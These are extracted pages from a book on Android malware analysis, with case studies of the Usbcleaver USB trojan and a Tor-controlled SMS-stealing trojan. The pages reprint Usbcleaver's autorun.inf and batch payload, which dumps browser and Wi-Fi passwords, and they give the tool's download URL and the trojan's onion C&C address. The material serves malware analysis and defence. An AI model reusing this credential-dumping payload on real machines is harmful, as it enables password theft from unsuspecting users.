cbDumpChromePassword
cbDumpFF
cbDumpFFPassword
cbDumpIEPassword
cbDumpIEPasswords
cbDumpSystemInfo
cbDumpSystemInformation
cbDumpWifiPassword
check.dyndns.com
checkFolders
checkForDisarm
%com.novaspirit.usbcleaver.FileChooser
$com.novaspirit.usbcleaver.downloader
!com.novaspirit.usbcleaver.logView
!com.novaspirit.usbcleaver.payload
decompress.java
downloader.java
C a se S t udy E x a mp l e s 18 5
header
2http://www.novaspirit.com/Downloads/usbcleaver.zip
main
mainLayout
mainMenu
mainMenu.java
Checkpoint
Dynamic Analysis
To install the APK we are going to use the ADB bridge. The follow-
ing command will push and install the sample to the test system “adb
install Usbcleaver.apk.” After a few moments, “success” comes back to
the command prompt and a new icon can be seen in applications in
the device.
When the APK is launched the user is presented with a simple screen
offering three choices.
Once the user has selected the items they wish to capture, they
select Generate Payload. This creates a file called go.bat and a hidden
autorun.inf at the root of the SD card. No matter what selections are
18 8 A n d r o id M a lwa re a n d A n a lysis
made the autorun file is always the same and contains the following
entries.
[autorun]
icon = usbcleaverfolder.ico
action = Open folder to view files
open = go.bat
The go.bat file is manipulated each time the generate payload button is
selected generating a new file based on the selections checked. Following
is an example of the content for go.bat when all the options are turned on.
@ECHO off
CD usbcleaver\system >NUL
:: Finds the location of the flash partition and sets master
variable.
IF EXIST z:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= z:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST y:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= y:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST x:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= x:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST w:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= w:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST v:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= v:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST u:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= u:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST t:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= t:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST s:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= s:
C a se S t udy E x a mp l e s 18 9
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST r:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= r:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST q:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= q:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST p:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= p:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST o:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= o:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST n:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= n:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST m:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= m:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST l:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= l:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST k:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= k:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST j:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= j:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST i:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= i:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST h:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= h:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
IF EXIST g:\usbcleaver\config\Drive_Location.cfg SET flshdrv
= g:
IF EXIST%flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO
FlshDrvFound
19 0 A n d r o id M a lwa re a n d A n a lysis
ECHO--------------------------------------------->>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
ECHO + [System info] + >>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
IPCONFIG/all >>%log% 2>&1
ECHO--------------------------------------------->>%log% 2>&1
Echo +-----------------------------------------+ >>%log% 2>&1
Echo + [Dump Firefox PW] + >>%log% 2>&1
Echo +-----------------------------------------+ >>%log% 2>&1
%progdir%\PasswordFox.exe /stext%tmplog% >>%log% 2>&1
COPY%log%+%tmplog%*%log% >> NUL
DEL/f/q%tmplog% >NUL
ECHO--------------------------------------------->>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
ECHO + [Dump Chrome PW] + >>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
.\ChromePass.exe/stext%tmplog% >>%log% 2>&1
COPY%log%+%tmplog%*%log% >> NUL
DEL/f/q%tmplog% >NUL
ECHO--------------------------------------------->>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
ECHO + [Dump IE PW] + >>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
.\iepv.exe/stext%tmplog% >>%log% 2>&1
COPY%log%+%tmplog%*%log% >> NUL
DEL/f/q%tmplog% >NUL
ECHO--------------------------------------------->>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
ECHO + [Dump WIFI PW] + >>%log% 2>&1
ECHO +-----------------------------------------+ >>%log% 2>&1
.\WirelessKeyView.exe/stext%tmplog% >>%log% 2>&1
COPY%log%+%tmplog%*%log% >> NUL
DEL/f/q%tmplog% >NUL
ECHO. >>%log% 2>&1
ECHO--------------------------------------------->>%log% 2>&1
ECHO USB Cleaver Payload [Time Finished:%DATE%%TIME%] >>%log%
2>&1
ECHO--------------------------------------------->>%log% 2>&1
19 2 A n d r o id M a lwa re a n d A n a lysis
2. The Log Files button opens a view to the log files that are
created during a successful run of go.bat. These files will be
located on the SD card under usbcleaver/logs.
3. The Download Payloads is a download method to pull down
the utilities to actually perform the operations requested in
the Enable/Disable payloads section. When selected it will
go to the following URL: novaspirit.com/Downloads/, then
download a single file called usbcleaver.zip.
-------------------------------------------------------------
USB Cleaver Payload
-------------------------------------------------------------
Computer Name is: lab1 and the Logged on User Is: Bob
+------------------------+
+ [System info] +
+------------------------+
Windows IP Configuration
Host Name................. : lab1
Primary Dns Suffix ....... :
Node Type................. : Hybrid
IP Routing Enabled........ : No
WINS Proxy Enabled........ : No
19 4 A n d r o id M a lwa re a n d A n a lysis
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Update Date: 2013-04-15 14:45:57
Creation Date: 2003-04-15 17:59:07
Registrar Registration Expiration Date: 2014-04-15 17:59:07
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
Registrar Abuse Contact Phone: +1.480-624-2505
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Domain Status: clientRenewProhibited
Domain Status: clientDeleteProhibited
Registrant Organization: Novaspirit
Registrant Country: United States
Admin Organization: Novaspirit
Tech Organization: Novaspirit
Tech Country: United States
Name Server: NS43.DOMAINCONTROL.COM
Name Server: NS44.DOMAINCONTROL.COM
Summary
However, during testing the results of the capture were less suc-
cessful on Windows 7 and 8 machines versus Windows XP. Analysis
of the attached Windows system showed it to remain intact and
undisturbed by the Trojan, besides the data stolen from the system.
Also, no means of remote data exfiltration was noted; this means the
data collected by the infected device stayed on that device until man-
ually retrieved. Additionally, Usbcleaver demonstrated a cross plat-
form nonstandard delivery method for malicious activity that is not
protected by standard security methods. While the disabling auto-
run is a widely known security measure that is easily implemented,
this delivery method allows the attacker to possibly get deep within
19 6 A n d r o id M a lwa re a n d A n a lysis
Torec
android:enabled = “true”
android:exported = “true”
>
<intent-filter
android:priority = “999”
>
<action
android:name = “android.provider.Telephony.SMS_RECEIVED”
>
</action>
</intent-filter>
</receiver>
<service
android:name = “.MainService”
>
</service>
The updateStatus function is the first method that will be called via
the statusChanged as the TOR service is initiated. When looking at that
function we can see that if the status change is to “status_activated,”
then it will call the TorSender class, specifically the sendInitialData:
invoke-static {p0}, Lcom/baseapp/TorSender;-
>sendInitialData(Landroid/content/Context;)V
Nothing too extraordinary is being taken from the device yet, just
simple identifiers like the phone number, country, IMEI, model,
and OS version. We do clearly see the hardcoded value for the client
though, indicating this is likely the first variant of its kind. We can
also clearly see the string being used as the C&C, http://yuwurw46ta-
aep6ip.onion/. The brand at the end of the code, successfully_exfiltrated
(which is a renamed if branch inside IDA Pro), we can follow next.
This shows us that the malware, for a valid response, is expecting
a properly formatted JSON with phone number and a code to send
to that phone number. This is where we trace through to Utils.send-
Message code. It is easily verified that this just wrapped the normal
system call to SmsManager.sendTextMessage. At this point everything
has been very straightforward and none of the code has attempted to
hide anything. The only real interesting part of the malware is that it
has used the open source code for Orbot to connect to the C&C as an
onion address. Though if we continue to look at the code, specifically
the SmsProcessor.processCommand, which is wired in by the content
observer and MessageReceiver receiver, we can see what functionality
the malware author has included.
We can trace the preceding commands inside the SmsProcessor class
and see exactly what is happening, though they are all true to their
naming. The intercept SMS start/stop will send an incoming SMS
to the C&C onion address or the control number if it fails along
with aborting the broadcast so the user will not see the SMS. List
SMS start/stop is similar, though it will not abort the broadcast to
C a se S t udy E x a mp l e s 203
the user—so the SMS will continue to appear as normal for the user.
“Check” is a simple ping-back command, which resends the same
information that the initial data check-in provided. The grab apps
command is interesting as it will attempt to send off a list of installed
applications on the device, potentially the malware author is look-
ing for something specific service side. Send SMS and USSD are
very simple methods as well that will attempt to send an SMS to any
receipt with any text, while the USSD command will attempt to dial
a USSD code on the device. The last command is simply to switch
the “control number,” which is essentially the SMS C&C number to
forward information if the TOR-based C&C is no longer up.
204 A n d r o id M a lwa re a n d A n a lysis
205
206 Bib li o g r a p h y
Tim Strazzere. “Android Zitmo Analysis: Now You See Me, Now You Don’t.”
Last modified August 13, 2012. http://www.strazzere.com/blog/2012/08/
android-zitmo-analysis-now-you-see-my-now-you-dont/.
Torproject. “Tor: Overview.” Last modified March 30, 2014. https://www.
torproject.org/about/overview.html.en.
VirusTotal. “VirusTotal: Free Online Virus, Malware and URL Scanner.” Last
modified March 30, 2014. https://www.virustotal.com/.
VisualThreat. “VisualThreat.” Last modified March 30, 2014. http://www.
visualthreat.com/.
Volatilitux. “Volatilitux: Memory Forensics Framework to Help Analyzing
Linux Physical Memory Dumps.” Last modified March 30, 2014. http://
code.google.com/p/volatilitux/.
Volatility. “Volatility: An Advanced Memory Forensics Framework.” Last
modified March 30, 2014. http://code.google.com/p/volatility/wiki/
AndroidMemoryForensics.
Wuntee. “androidAuditTools.” Last modified 2011. https://github.com/
wuntee/androidAuditTools.
Wuntee. “wuntee.” Last modified March 30, 2014. https://github.com/wuntee.
Yara. “Yara.” Last modified March 5, 2014. http://plusvic.github.io/yara/.
Information Technology / Security & Auditing
This tactical and practical book shows you how to use to use dynamic malware
analysis to check the behavior of an application/malware as it has been executed
in the system. It also describes how you can apply static analysis to break apart
the application/malware using reverse engineering tools and techniques to
recreate the actual code and algorithms used.
The book presents the insights of experts in the field, who have already sized up
the best tools, tactics, and procedures for recognizing and analyzing Android
malware threats quickly and effectively. You also get access to an online library
of tools that supplies what you will need to begin your own analysis of Android
malware threats. Tools available on the book’s site include updated information,
tutorials, code, scripts, and author assistance.
This is not a book on Android OS, fuzzy testing, or social engineering. Instead,
it is about the best ways to analyze and tear apart Android malware threats.
After reading the book, you will be able to immediately implement the tools and
tactics covered to identify and analyze the latest evolution of Android threats.
K23862
6000 Broken Sound Parkway, NW
Suite 300, Boca Raton, FL 33487 ISBN: 978-1-4822-5219-4
711 Third Avenue 90000
New York, NY 10017
an informa business 2 Park Square, Milton Park
www.crcpress.com Abingdon, Oxon OX14 4RN, UK
9 781482 252194
www.auerbach-publications.com